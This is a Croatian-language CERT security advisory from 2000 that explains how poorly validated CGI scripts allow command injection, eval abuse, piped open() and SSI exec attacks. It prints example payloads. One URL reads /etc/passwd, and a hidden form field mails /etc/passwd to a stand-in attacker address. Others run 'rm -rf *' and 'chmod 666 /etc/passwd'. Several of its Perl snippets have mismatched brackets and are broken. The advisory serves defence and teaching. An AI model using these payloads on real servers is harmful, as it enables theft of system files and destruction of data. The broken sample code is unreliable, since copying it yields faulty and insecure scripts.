HRVATSKA AKADEMSKA I ISTRAŽIVAČKA MREŽA
CROATIAN ACADEMIC AND RESEARCH NETWORK

Sigurnosne rupe u CGI sučelju

CCERT-PUBDOC-2000-10-05

CARNet CERT u suradnji s LS&S

Sigurnosni problemi u računalnim programima i operativnim sustavima područje je na kojem CARNet CERT kontinuirano radi.

Rezultat toga rada ovaj je dokument koji je nastao suradnjom CARNet CERT-a i LS&S-a, a za koji se nadamo se da će Vam koristiti u poboljšanju sigurnosti Vašeg sustava.

CARNet CERT, www.cert.hr - nacionalno središte za **sigurnost računalnih mreža** i sustava.

LS&S, www.lss.hr - laboratorij za sustave i signale pri Zavodu za elektroničke sustave i obradbu informacija Fakulteta elektrotehnike i računarstva Sveučilišta u Zagrebu.

Sadržaj

1. UVOD 4

2. SIGURNOSNI PROBLEMI 4

3. ZAKLJUČAK 7

1. Uvod

Common Gateway Interface (CGI) je specifikacija sučelja koje omogućava komunikaciju između klijentskih programa i informacijskih poslužitelja koji razumiju Hyper-Text Transfer Protocol (HTTP). TCP/IP je komunikacijski protokol koji koriste CGI skripte i poslužitelj tijekom komunikacije. Standardni *port* za komunikaciju je *port* 80 (privilegirani), ali se mogu specificirati i drugi neprivilegirani *portovi*.

CGI skripte uglavnom izvode jednostavna procesiranja za klijentsku stranu. CGI skripta se obično koristi za formatiranje Hyper-Text Markup Language (HTML) dokumenata, dinamičko stvaranje istih i dinamičko generiranje grafičkih elemenata stranica. CGI također može izvoditi zapisivanje transakcija koristeći standardne tokove ulaza i izlaza (*standard input* i *output*). CGI pohranjuje informacije u varijable okružja sustava kojima se može pristupati iz različitih CGI skripti. CGI skripte također mogu prihvaćati argumente sa komandne linije. CGI skripte rade na dva načina:

- U prvom načinu rada, CGI skripte izvode osnovna procesiranja podataka na osnovi ulaznih informacija koje su dobile. Primjer ovakvog procesiranja podataka je popularna web lint stranica koja provjerava sintaksu HTML dokumenata.
- U drugom načinu rada, CGI skripta ima ulogu nositelja podataka između klijentskog programa i poslužitelja i natrag, od poslužitelja prema klijentskom programu. Npr. CGI skripta može se koristiti kao sučelje na bazu podataka koja se nalazi na poslužitelju.

CGI skripte mogu se pisati koristeći kompilirane programske jezike, interpretirane programske jezike i skriptne jezike. Jedina prava prednost koja postoji za pojedine vrste razvojnih okružja je činjenica da se kompilirani programi izvode brže nego interpretirani programi ili skripte. Interpretirani programski jezici poput AppleScripta, TCL-a, PERL-a i UNIX skripti za ljusku imaju mogućnost dohvaćanja i modificiranja izvornog koda i općenito razvoj istih traje kraće nego kompiliranih programa.
Opće metode koje su dostupne CGI skriptama opisane su u HTTP 1.0 specifikaciji. Tri metode koje su vrlo važne za ovaj dokument su 'Get' metoda, 'Post' metoda i 'Put' metoda. 'Get' metoda skida informacije sa poslužitelja na klijent. 'Post' metoda zahtijeva od poslužitelja spremanje informacija dobivenih od klijenta kao ulazne podatke na određeni ciljni proces. 'Put' metoda zahtijeva od poslužitelja prihvaćanje informacija dobivenih od klijenta kao zamjena za određeni ciljni proces.

2. Sigurnosni problemi

Sigurnosni problemi koji se pojavljuju korištenjem CGI skripti nisu uzrokovani rupama u CGI-ju samome, već su naslijeđene od HTTP specifikacija u različitim programima sustava. CGI jednostavno dozvoljava pristup tim sigurnosnim problemima. Naravno, postoje i drugi načini za neovlaštene akcije na udaljenom poslužitelju. Npr. krivo postavljenim korisničkim pravima na određenim datotekama mogu se neovlašteno koristiti FTP ili TELNET protokoli. CGI samo omogućava udaljenim neovlaštenim korisnicima pristup preko ovih ili drugih sigurnosnih problema.
Specifikacije CGI sučelja omogućavaju čitanje datoteka na sustavu, mogućnost dobivanja rada u ljusci sustava, i pristupa datotečnom sustavu na poslužiteljskim računalima. Načini dobivanja prava pristupa uključuju: iskorištavanja sigurnosnih problema pretpostavki skripti, sigurnosne probleme u okružju poslužitelja te sigurnosne probleme u raznim drugim programima i pozivima sustava. Primarni sigurnosni problem CGI skripti je ipak nedovoljna provjera dobivenih (ulaznih) informacija.
Prema HTTP 1.0 specifikaciji, podaci koji se predaju CGI skripti moraju biti enkodirani tako da mogu raditi na bilo kojoj hardwareskoj i softwareskoj platformi. Podaci koji se predaju CGI skripti korištenjem Get metode dodaju se na kraj *Universal Resource Locatora* (URL-a). Ovim podacima CGI skripta može pristupiti preko varijable okružja pod imenom QUERY_STRING. Podaci se predaju kao tokeni u obliku varijabla = vrijednost, prilikom čega su tokeni rastavljeni '&' znakom. '&' znakovi koje treba iskoristiti, kao i drugi alfa-numerički karakteri moraju biti zapisani kao dvoznamenkasti heksadecimalni brojevi. Ovim znakovima mora prethoditi znak postotka (%) u enkodiranom URL-u. U ovom slučaju zadatak CGI skripte je pravilno rukovanje ovim znakovima u podacima koji su stigli od korisnika. Znakovi poput '<' i '>' koji označavaju početak, odnosno kraj HTML tagova, obično se

uklanjaju jednostavnim operacijama traženja i zamjene znakova, kao što je prikazano u slijedećem kodu:

```
# Process input values
{$NAME, $VALUE) = split(/=/, $_);     # split up each variable=value
pair
$VALUE =~ s/\+/ /g;             # Replace '+' with ' '
$VALUE =~ s/%([0-9|A-F]{2})/pack(C,hex,{$1}}/eg;  # Replace %xx
characters with ASCII
# Escape metacharacters
$VALUE =~ s/([;<>\*\|'&\$!#\(\)\[\]\{\}:"])/\\$1/g;# remove unwanted
special characters
$MYDATA[$NAME} = $VALUE;  # Assign the value to the associative array
```

Ovaj primjer uklanja sve specijalne znakove poput ';', koji se inače interpretira od strane ljuske sustava kao znak za razdvajanje komandi. Ukoliko se ovaj postupak ne napravi, neovlaštenim korisnicima omogućava se dodavanje komandi na ulazne podatke.
Gore napisan primjer nije kompletan budući da nisu uključene mogućnosti slanja znaka za novi red (%0a) od strane neovlaštenog korisnika, koje je moguće iskoristiti za izvođenje drugih komandi osim onih koje dozvoljava CGI skripta. Dakle, moguće je dodati određeni niz znakova na URL da bi se izvele funkcije izvan CGI skripte. Slijedeći primjer URL-a zahtijeva kopiju /etc/passwd datoteke sa poslužiteljskog računala:

```
http://security.zesoi.fer.hr/cgi-bin/query?%0a/bin/cat%20/etc/passwd
```

Znakovi %0a i %20 predstavljaju ASCII vrijednosti za prijelaz u drugi red i razmak.
Sučelje za CGI skriptu predstavlja HTML dokument koji se naziva forma. Forme uključuju HTML tagove. Svaki tag ima pridruženo određeno ime varijable. Ovo ime varijable formira lijevi dio prethodno spomenutog tokena variabla = vrijednost. Sadržaj ove varijable formira pak desni dio tokena, odnosno njegovu vrijednost. Stvarne CGI skripte obično rade i filtriranje podataka koji se nalaze u vrijednostima pojedinih tokena. Međutim, ako skripta ne filtrira specijalne znakove, situacija je analogna gore prikazanom primjeru. Interpretirane CGI skripte koje ne uspiju ispravno filtrirati neželjene podatke prenest će te podatke izravno interpreteru.
Drugi HTML tag koji se često nalazi u formama je <SELECT> tag. <SELECT> tag dozvoljava korisniku na klijentskoj strani izbor iz ponuđenog seta. Selekcija korisnika postaje desna strana tokena variabla = vrijednost poslanog CGI skripti. CGI skripte često ne provjeravaju polje dobiveno od <SELECT> taga, pretpostavljajući da će polje sadržavati samo pre-definirane podatke. Ponovo, ovi podaci se šalju direktno interpreteru za interpretirane jezike. Kompilirani podaci koji ne provjeravaju podatke ili specijalne znakove također mogu imati sigurnosne rupe.
Skripta za ljusku sustava ili PERL skripta koja koristi UNIX mail program može također imati sigurnosne rupe zasnovane na određenim sekvencama znakova. Mail prihvaća komandu u obliku '~!komanda' i napravi novi proces za izvođenje komande. Ako CGI skripta ne filtrira sve '!~' sekvence iz dolaznih podataka, sustav ima potencijalnu sigurnosnu rupu. Sigurnosni problemi u sendmailu također mogu biti iskorištavani preko CGI skripti. Ponovo, neovlaštenom korisniku je ključ pronaći CGI skriptu koja ne izvodi pravilno filtriranje pristiglih podataka.
Ako neovlašteni korisnik može pronaći CGI skriptu koja sadrži UNIX system() poziv sa samo jednim argumentom, odmah je pronašao sigurnosnu rupu koja mu dozvoljava ulaz na udaljeni sustav. Kada je system() funkcija pozvana sa samo jednim argumentom, sustav stvara novi proces sa drugom ljuskom sustava da bi izvršio zahtjev. Kada se ovo dogodi, moguće je dodati podatke na ulazni dio i doći do neočekivanih rezultata. Npr., PERL skripta koja sadrži slijedeći poziv:

```
system("/usr/bin/sendmail -t %s < %s", $mailto_address <
$input_file");
```

Ovaj poziv trebao bi poslati kopiju $input_file datoteke elektroničkom poštom na e-mail adresu koja je specificirana u $mailto_address varijabli. Budući da je system() funkcija pozvana sa samo jednim argumentom, program će napraviti novi proces za ljusku sustava. Kopiranjem i modificiranjem ulaznih podataka u formu moguće je postići slijedeće:

```
<INPUT TYPE="HIDDEN" NAME="mailto_address"
VALUE="address@server.com;mail cracker@hacker.com </etc/passwd">
```

U ovom slučaju na e-mail adresu neovlaštenog korisnika stići će kopija /etc/passwd datoteke.
System() funkcija nije jedina funkcija koja će uzrokovati stvaranje novih procesa prilikom izođenja ljuske sustava. Exec() funkcija pozvana sa jednim argumentom ima istu sigurnosnu rupu kao i system() funkcija. Otvaranje datoteke i slanje rezultata kroz cjevovod (eng. *pipe*) također dovodi do stvaranja novog procesa. U PERL-u, funkcija:

```
open(FILE, "| program_name $ARGS");
```

otvara datoteku FILE i šalje rezultate kroz cjevovod programu program_name, koji će biti pokrenut u zasebnom procesu i ljuski sustava.
U PERL-u također postoji i komanda eval koja pregledava dobiveni argument i zatim izvodi program koji je zadan. CGI skripte koje predaju razne korisničke podatke na eval komandu mogu biti iskorištene za pokretanje raznih programa na poslužiteljskom računalu. Npr.:

```
$_ = $VALUE;
s/"/\\"/g               # Escape double quotes
$RESULT = eval qq/"$_"/;        # evaluate the correctly quoted
input
```

Ova sekvenca bi predala podatke iz $VALUE eval komandi gotovo bez promjena, osim što osigurava da ne dođe do dvostrukih navodnika što bi eventualno zbunilo interpreter. U slučaju da $VALUE sadrži vrijednost "rm –rf *", rezultat bi bio katastrofalan. Prava pristupa datotekama moraju biti vrlo pažljivo provjerena. CGI skripte koje mogu svi korisnici čitati i pisati mogu biti kopirane, mijenjane ili zamijenjene. Također, PERL skripte koje zahtijevaju slijedeće:

```
require "cgi-lib";
```

uključuju i biblioteku pod imenom cgi-lib. Ako prava pisanja po datoteci nisu dobro postavljena, skripta ima sigurnosnu rupu. Da bi se provjerila prava pisanja po datoteci neovlašteni korisnici obično dodaju niz '%0a/bin/ls%20-la%20/usr/src/include' na URL koji dolazi CGI skripti koja koristi 'Get' metodu.
Kopiranje, modificiranje i zamjena datoteke sa bibliotekom dozvoljava neovlaštenim korisnicima pokretanje raznih komandi ili funkcija unutar datoteke sa bibliotekom. Također, ako PERL interpreter, koji se obično nalazi u /usr/bin direktoriju, ima postavljen set-uid bit na administratorski račun, moguće je modificirati prava na datotekama slanjem komande izravno sustavu kroz interpreter. Eval komanda koja je opisana u dokumentu dozvolila bi izvođenje slijedećih komandi:

```
$_ = "chmod 666 \/etc\/passwd"
$RESULT = eval qq/"$_"/;
```

koje bi rezultirale postavljanjem prava za pisanje na /etc/passwd datoteku svim korisnicima na sustavu.
Pojedini HTTP poslužitelji omogućavaju Server Side Includes (SSI). SSI je mehanizam koji dozvoljava poslužitelju da modificira dokument prije nego što ga pošalje klijentskom računalu. SSI predstavlja izuzetno veliku sigurnosnu rupu i u većini slučajeva je onemogućen. No, u slučaju da je na nekom poslužitelju SSI omogućen, sintaksa korištenja je:

```
<!--#command variable="value" -->
```

I komanda i tag moraju biti upisani malim slovima. Ako skripta ne filtrira ispravno izlazne podatke tada je moguće izvesti slijedeću naredbu:

```
<!--#exec cmd="chmod 666 /etc/passwd"-->
```

Sve SSI komande počinju sa # znakom nakon kojega slijedi ključna riječ. Exec cmd u ovom slučaju stvara proces sa ljuskom sustava koja će izvršiti komandu koja se nalazi unutar navodnika. Ako je ova mogućnost uključena na poslužitelju, neovlašteni korisnici imaju velike mogućnosti iskorištavanja sigurnosnih rupa.

3. Zaključak

Nepravilno korištenje CGI skripti omogućava neovlaštenim korisnicima korištenje čitavog niza sigurnosnih rupa na poslužitelju. Nemogućnost filtriranja korisničkih podataka i provjere istih, loše odabrani i implementirani funkcijski pozivi sustavu i loše postavljena prava pisanja i čitanja na datotekama mogu dovesti do iskorištavanja sigurnosnih rupa preko CGI skripti.